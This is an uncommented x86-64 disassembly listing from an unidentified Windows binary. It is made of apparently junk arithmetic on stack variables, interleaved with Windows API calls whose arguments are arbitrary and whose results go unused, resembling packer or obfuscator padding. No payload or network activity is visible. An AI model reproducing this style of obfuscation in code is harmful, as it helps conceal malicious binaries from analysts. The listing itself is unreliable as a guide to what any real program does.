mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x631c], eax
lea rax, [rsp + 0x9a6c]
mov qword [rsp + 0x16ce0], rax
mov rcx, qword [rsp + 0x15908]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa524], eax
mov rax, qword [rsp + 0x149c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9cd0]
sar eax, cl
mov dword [rsp + 0x6064], eax
mov eax, dword [rsp + 0xa1ec]
mov rcx, qword [rsp + 0x14118]
mov qword [rsp + 0x16ce8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16ce8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x16bb8]
mov dword [rcx], eax
lea rax, [rsp + 0x260c]
mov qword [rsp + 0x16cf0], rax
movzx eax, byte [0x140363feb]
mov byte [0x140364096], al
mov rax, qword [rsp + 0x14198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa090]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14080]
mov dword [rcx], eax
lea rax, [rsp + 0xa194]
mov qword [rsp + 0x16cf8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9d3c], eax
mov eax, dword [rsp + 0x8acc]
mov ecx, dword [rsp + 0x9730]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9198], eax
mov rax, qword [rsp + 0x157b8]
mov rcx, qword [rsp + 0x134f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6e48], eax
mov rax, qword [rsp + 0x15000]
movzx eax, byte [rax]
mov byte [rsp + 0x7ef], al
lea rdx, [rsp + 0x42c68]
mov rcx, qword [rsp + 0x13798]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa6a0], eax
movzx eax, word [rsp + 0x2dd0]
movzx ecx, word [0x14036a058]
sub eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov edx, 0x427
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9c14], eax
lea rax, [rsp + 0x6a8]
mov qword [rsp + 0x16d00], rax
mov rax, qword [rsp + 0x155e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14ad0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14280]
mov word [rcx], ax
mov rax, qword [rsp + 0x13e40]
mov rcx, qword [rsp + 0x15338]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14036a218]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144e0]
mov ecx, dword [rsp + 0xa45c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6c9c], eax
mov rax, qword [rsp + 0x16830]
movzx eax, word [rax]
movzx ecx, word [0x14036a008]
sub eax, ecx
mov rcx, qword [rsp + 0x16640]
mov word [rcx], ax
movzx eax, byte [rsp + 0x78c]
movzx ecx, byte [rsp + 0x737]
add eax, ecx
mov byte [rsp + 0x7e7], al
lea rax, [rsp + 0x7384]
mov qword [rsp + 0x16d08], rax
mov rax, qword [rsp + 0x16488]
mov ecx, dword [0x140362528]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x144f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16690]
mov eax, dword [rax]
mov dword [rsp + 0xa6a4], eax
mov rax, qword [rsp + 0x13730]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c64]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x166b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14e38]
movzx eax, byte [rax]
mov rcx, qword [0x14036a318]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x14948]
mov byte [rcx], al
lea rax, [rsp + 0x1a10]
mov qword [0x14036a580], rax
mov rax, qword [rsp + 0x131a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa5dc]
shr eax, cl
mov dword [rsp + 0x6a8c], eax
mov eax, dword [rsp + 0xa640]
mov rcx, qword [0x14036a020]
mov qword [rsp + 0x16d10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16d10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a90], eax
lea rax, [rsp + 0x72b8]
mov qword [rsp + 0x16d18], rax
mov rax, qword [rsp + 0x14be8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84ac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15fb0]
mov rcx, qword [rsp + 0x16938]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15408]
mov dword [rcx], eax
lea rax, [rsp + 0x2c8c]
mov qword [rsp + 0x16d20], rax
mov rax, qword [rsp + 0x15690]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2d1]
add eax, ecx
mov byte [rsp + 0x4b2], al
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x7f0], al
mov qword [rsp + 0x20], 0
mov r9d, 0x2da8
mov r8d, 0x1be9
mov edx, 0xd5
mov rcx, qword [rsp + 0x14550]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa6a8], eax
mov rax, qword [rsp + 0x13be0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e0c]
sub eax, ecx
mov rcx, qword [0x140369c18]
mov word [rcx], ax
mov eax, dword [rsp + 0x9d24]
mov ecx, dword [rsp + 0xa510]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15b68]
mov dword [rcx], eax
mov rax, qword [0x14036a038]
mov rcx, qword [rsp + 0x161d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa310], eax
mov rax, qword [rsp + 0x130a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13e00]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2994], ax
lea rdx, [rsp + 0x43598]
mov rcx, qword [rsp + 0x166d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9d10], eax
mov rax, qword [rsp + 0x14a38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x702]
imul eax, ecx
mov byte [rsp + 0x734], al
lea rax, [rsp + 0x9bc0]
mov qword [rsp + 0x16d28], rax
mov rax, qword [rsp + 0x16c58]
mov ecx, dword [rsp + 0x96c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a00], eax
lea rax, [rsp + 0xa16c]
mov qword [rsp + 0x16d30], rax
mov rax, qword [rsp + 0x14c70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa010]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16310]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x702]
mov rcx, qword [rsp + 0x15128]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1403525c2], al
movzx eax, word [0x140362458]
movzx ecx, word [rsp + 0x2098]
add eax, ecx
mov rcx, qword [rsp + 0x15368]
mov word [rcx], ax
mov rax, qword [rsp + 0x15f70]
mov eax, dword [rax]
mov dword [rsp + 0xa6ac], eax
mov dword [rsp + 0x4de30], 0x11c
mov rax, qword [rsp + 0x15730]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x159d0]
mov qword [rsp + 0x16d38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16d38]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x16088]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x760]
mov byte [rsp + 0x7f1], al
movsx eax, word [rsp + 0x2ba0]
mov rcx, qword [rsp + 0x12fa8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14508]
mov word [rcx], ax
mov rax, qword [rsp + 0x162a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb4]
xor eax, ecx
mov rcx, qword [rsp + 0x15d10]
mov word [rcx], ax
mov rax, qword [rsp + 0x13120]
movzx eax, byte [rax]
imul eax, eax, 0x2f
mov byte [rsp + 0x5bc], al
mov rax, qword [rsp + 0x15ef0]
mov ecx, dword [rsp + 0xa310]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8f34], eax
lea rax, [0x140369c8c]
mov qword [0x14036a588], rax
mov rcx, qword [rsp + 0x142b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ae0], eax
mov eax, dword [rsp + 0x7a3c]
mov dword [rsp + 0xa6b0], eax
mov rax, qword [rsp + 0x14740]
mov rcx, qword [rsp + 0x142d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13438]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa054], eax
mov rax, qword [rsp + 0x132b8]
mov rcx, qword [0x140369bb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16a68]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16d40], rax
mov rax, qword [rsp + 0x12fe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72e]
add eax, ecx
mov byte [rsp + 0x3c8], al
mov rax, qword [rsp + 0x15028]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14dd8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14c48]
mov word [rcx], ax
lea rax, [0x140369c8c]
mov qword [rsp + 0x16d48], rax
mov rax, qword [rsp + 0x138d0]
mov ecx, dword [rsp + 0x93fc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9dec], eax
mov rax, qword [rsp + 0x13350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1dc], eax
mov rax, qword [rsp + 0x15958]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2a0]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140369da0]
mov dword [rcx], eax
lea rax, [rsp + 0x2bf0]
mov qword [rsp + 0x16d50], rax
mov rax, qword [rsp + 0x15698]
movzx eax, byte [rax]
mov rcx, qword [0x14036a458]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x755], al
lea rax, [rsp + 0x2ba0]
mov qword [rsp + 0x16d58], rax
movsx eax, byte [rsp + 0xe3]
movsx ecx, byte [rsp + 0x79f]
add eax, ecx
mov rcx, qword [rsp + 0x12ef8]
mov byte [rcx], al
mov rax, qword [rsp + 0x157b8]
mov eax, dword [rax]
mov dword [rsp + 0xa6b4], eax
mov rax, qword [rsp + 0x131c0]
mov rcx, qword [rsp + 0x15278]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ebc], eax
mov rax, qword [rsp + 0x14e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a9]
add eax, ecx
mov byte [rsp + 0x752], al
lea rax, [rsp + 0x10dc]
mov qword [rsp + 0x16d60], rax
mov dword [rsp + 0x20], 0x155f
mov r9d, 0x2d12
mov r8d, 0x268c
mov edx, 0x1c08
mov rcx, qword [rsp + 0x14c58]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9df4], eax
lea rax, [rsp + 0x9e98]
mov qword [0x14036a590], rax
mov rax, qword [rsp + 0x13690]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7534]
shl eax, cl
mov rcx, qword [rsp + 0x145c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa3c0]
mov dword [rsp + 0xa6b8], eax
mov rax, qword [rsp + 0x142f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a7c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d78]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2af0]
movzx ecx, word [rsp + 0x2e24]
cdq
idiv ecx
mov word [rsp + 0x2e48], ax
lea rax, [rsp + 0x764]
mov qword [rsp + 0x16d68], rax
mov eax, dword [rsp + 0x9e00]
movzx ecx, al
mov eax, dword [0x1403624c0]
sar eax, cl
mov dword [rsp + 0x9b30], eax
lea rax, [rsp + 0x9a70]
mov qword [rsp + 0x16d70], rax
mov eax, dword [rsp + 0xa294]
mov ecx, dword [rsp + 0x9f58]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14388]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131b8]
mov eax, dword [rax]
mov dword [0x14036a598], eax
mov eax, dword [rsp + 0xa3d0]
mov ecx, dword [rsp + 0x6228]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15788]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2c9c]
movsx ecx, word [rsp + 0x2d84]
and eax, ecx
mov word [rsp + 0x1c48], ax
movsx eax, byte [0x140363fee]
mov rcx, qword [rsp + 0x145f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x459], al
lea rax, [rsp + 0x79a]
mov qword [rsp + 0x16d78], rax
movzx eax, word [rsp + 0x1ab8]
movzx ecx, word [rsp + 0x2df0]
add eax, ecx
mov rcx, qword [rsp + 0x160a8]
mov word [rcx], ax
lea rax, [0x14036251c]
mov qword [rsp + 0x16d80], rax
mov rax, qword [rsp + 0x159f0]
mov rcx, qword [rsp + 0x14f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa0bc], eax
mov rax, qword [rsp + 0x140f8]
movzx eax, word [rax]
mov rcx, qword [0x140369f58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14e58]
mov word [rcx], ax
movzx eax, byte [rsp + 0x772]
mov rcx, qword [rsp + 0x13c40]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140369fc0]
mov byte [rcx], al
lea rax, [rsp + 0xa5a8]
mov qword [rsp + 0x16d88], rax
mov eax, dword [rsp + 0x9b30]
mov ecx, dword [rsp + 0x59f4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9888], eax
lea rax, [rsp + 0xa69c]
mov qword [rsp + 0x16d90], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a8c], eax
mov rax, qword [rsp + 0x14790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7b14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6590], eax
movzx eax, byte [rsp + 0x666]
cdq
mov ecx, 0x83
idiv ecx
mov rcx, qword [rsp + 0x13990]
mov byte [rcx], al
mov rax, qword [rsp + 0x159c0]
movzx eax, word [rax]
mov word [rsp + 0x2e9c], ax
mov rax, qword [rsp + 0x13720]
mov ecx, dword [rsp + 0x9c20]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x15198]
mov dword [rcx], eax
lea rax, [rsp + 0x8008]
mov qword [rsp + 0x16d98], rax
lea rax, [rsp + 0x76e]
mov qword [0x14036a5a0], rax
mov rax, qword [rsp + 0x15d28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1938]
shl eax, cl
mov rcx, qword [rsp + 0x16a10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x3d4]
mov rcx, qword [rsp + 0x13fd0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14548]
mov byte [rcx], al
mov rax, qword [rsp + 0x16a88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x20dc], ax
mov rax, qword [rsp + 0x15400]
mov rcx, qword [rsp + 0x16a20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14648]
mov dword [rcx], eax
mov eax, dword [0x140369e60]
mov dword [rsp + 0xa6bc], eax
mov rax, qword [rsp + 0x15f20]
mov rcx, qword [rsp + 0x15080]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7804], eax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa6c0], eax
mov rax, qword [rsp + 0x13aa8]
mov rcx, qword [rsp + 0x138d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa27c], eax
lea rax, [0x140369f08]
mov qword [rsp + 0x16da0], rax
movzx eax, word [rsp + 0x1f18]
movzx ecx, word [rsp + 0x29ac]
and eax, ecx
mov rcx, qword [rsp + 0x145d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x16440]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37b]
sub eax, ecx
mov rcx, qword [0x140369e90]
mov byte [rcx], al
mov eax, dword [rsp + 0x8cac]
mov dword [rsp + 0xa6c4], eax
mov rax, qword [rsp + 0x15e10]
mov ecx, dword [rsp + 0x9d08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa34c], eax
lea rax, [rsp + 0x807c]
mov qword [rsp + 0x16da8], rax
mov rax, qword [rsp + 0x12de0]
mov rcx, qword [rsp + 0x12d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov dword [rsp + 0x40], 7
mov rax, qword [rsp + 0x42820]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x87
mov dword [rsp + 0x28], 0xd1
mov dword [rsp + 0x20], 0x5b
mov r9, qword [rsp + 0x427e8]
mov r8d, 5
mov edx, 0xb6
mov rcx, qword [rsp + 0x42828]
call qword [sym.imp.USER32.dll_DrawIconEx]
mov dword [rsp + 0x9978], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
and eax, ecx
mov rcx, qword [rsp + 0x12e08]
mov byte [rcx], al
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13d8]
and eax, ecx
mov word [rsp + 0x2324], ax
mov rax, qword [rsp + 0x12df0]
mov rcx, qword [rsp + 0x12dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x59fc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9990], eax
mov eax, dword [rsp + 0x9808]
mov ecx, dword [rsp + 0x9998]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
sub eax, 0x79
mov byte [0x140363edd], al
jmp 0x14031cb82
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
imul eax, ecx
movzx ecx, word [rsp + 0x13d8]
mov rdx, qword [rsp + 0x12e10]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jne 0x14031c97c
movzx eax, byte [rsp + 0x729]
movzx ecx, byte [rsp + 0x72a]
shl eax, cl
mov byte [rsp + 0x728], al
mov rcx, qword [rsp + 0x42830]
call qword [sym.imp.USER32.dll_DeregisterShellHookWindow]
mov dword [rsp + 0x12b78], eax
mov rax, qword [rsp + 0x12ce0]
mov rcx, qword [rsp + 0x12d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9808], eax
mov rax, qword [rsp + 0x12dd0]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9808], eax
mov rax, qword [rsp + 0x12df0]
mov ecx, dword [rsp + 0x99e8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [rsp + 0x2324]
add eax, ecx
mov word [rsp + 0x13d8], ax
lea rdx, [rsp + 0x12e40]
mov rcx, qword [rsp + 0x12db8]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x9994], eax
jmp 0x14031cb82
movzx eax, byte [rsp + 0x72a]
mov rcx, qword [rsp + 0x12e08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x729]
add ecx, edx
cmp eax, ecx
jne 0x14031ca6e
movzx eax, byte [rsp + 0x729]
movzx ecx, byte [rsp + 0x728]
or eax, ecx
mov byte [rsp + 0x72a], al
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9968]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12de0]
mov rcx, qword [rsp + 0x12d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9990], eax
movsx eax, byte [rsp + 0x6f8]
add eax, 0x66
mov byte [0x140363edd], al
movzx eax, byte [rsp + 0x728]
movzx ecx, byte [rsp + 0x729]
shl eax, cl
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
lea rdx, [rsp + 0x4a790]
mov rcx, qword [rsp + 0x12c90]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x994c], eax
jmp 0x14031cb82
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13d8]
sar eax, cl
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
movsx eax, word [rsp + 0x2b74]
xor eax, 0x2db
mov word [rsp + 0x2b74], ax
movsx eax, byte [0x140363edd]
or eax, 8
mov byte [rsp + 0x6f8], al
mov rax, qword [rsp + 0x12d28]
mov rcx, qword [rsp + 0x12de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b4], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
sub eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
mov rcx, qword [rsp + 0x42838]
call qword [sym.imp.USER32.dll_IsWindowUnicode]
mov dword [rsp + 0x99cc], eax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12e08]
mov byte [rcx], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140352bcc], ax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
movzx eax, word [rsp + 0x13d8]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140369b74], ax
movzx eax, word [0x140369b74]
movzx ecx, word [rsp + 0x13d8]
and eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12cf8]
mov rcx, qword [rsp + 0x12d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b4], eax
lea r9, [rsp + 0x4a6b0]
mov r8d, 0x73
lea rdx, [rsp + 0x99ec]
mov rcx, qword [rsp + 0x12cd0]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x99f4], eax
movsx eax, word [rsp + 0x2b74]
sub eax, 0xfd
mov word [rsp + 0x2b74], ax
mov rax, qword [rsp + 0x12df0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9950]
sar eax, cl
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
jmp 0x14031cf21
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x99b4]
sar eax, cl
mov ecx, dword [rsp + 0x997c]
mov rdx, qword [rsp + 0x12dd0]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14031cded
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
shl eax, cl
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
mov eax, dword [rsp + 0x99d8]
mov ecx, dword [rsp + 0x9998]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x997c]
sar eax, cl
mov dword [rsp + 0x99e8], eax
mov rax, qword [rsp + 0x12df0]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12c28]
call qword [sym.imp.GDI32.dll_FlattenPath]
mov dword [rsp + 0x12bd4], eax
mov eax, dword [rsp + 0x59fc]
mov ecx, dword [rsp + 0x9968]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
mov rax, qword [rsp + 0x12dd0]
mov rcx, qword [rsp + 0x12df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2b74]
or eax, 0x2cd
mov word [rsp + 0x2b74], ax
movzx eax, byte [rsp + 0x729]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
and eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6f8]
add eax, 0x10
mov byte [0x140363edd], al
mov rcx, qword [rsp + 0x42840]
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [rsp + 0x12bcc], eax
jmp 0x14031cf21
movsx eax, word [rsp + 0x2b74]
cmp eax, 0x4ca
jne 0x14031cf21
mov rax, qword [rsp + 0x12cf8]
mov ecx, dword [rsp + 0x99b8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9808]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
movzx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2324], ax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x12e08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
mov rax, qword [rsp + 0x12df0]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x59fc], eax
mov rax, qword [rsp + 0x12d68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x99e4]
shr eax, cl
mov rcx, qword [rsp + 0x12d28]
mov dword [rcx], eax
lea rax, [rsp + 0x42848]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x12b68]
mov r8d, 0x5e
lea rdx, [rsp + 0x42820]
mov rcx, qword [rsp + 0x12c40]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
mov dword [rsp + 0x12b78], eax
mov rax, qword [rsp + 0x12dd0]
mov ecx, dword [rsp + 0x9990]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8924]
movzx ecx, al
mov eax, dword [rsp + 0x99e8]
shl eax, cl
mov dword [rsp + 0x9968], eax
movzx eax, byte [rsp + 0x729]
movzx ecx, byte [rsp + 0x728]
xor eax, ecx
mov rcx, qword [rsp + 0x12e08]
mov byte [rcx], al
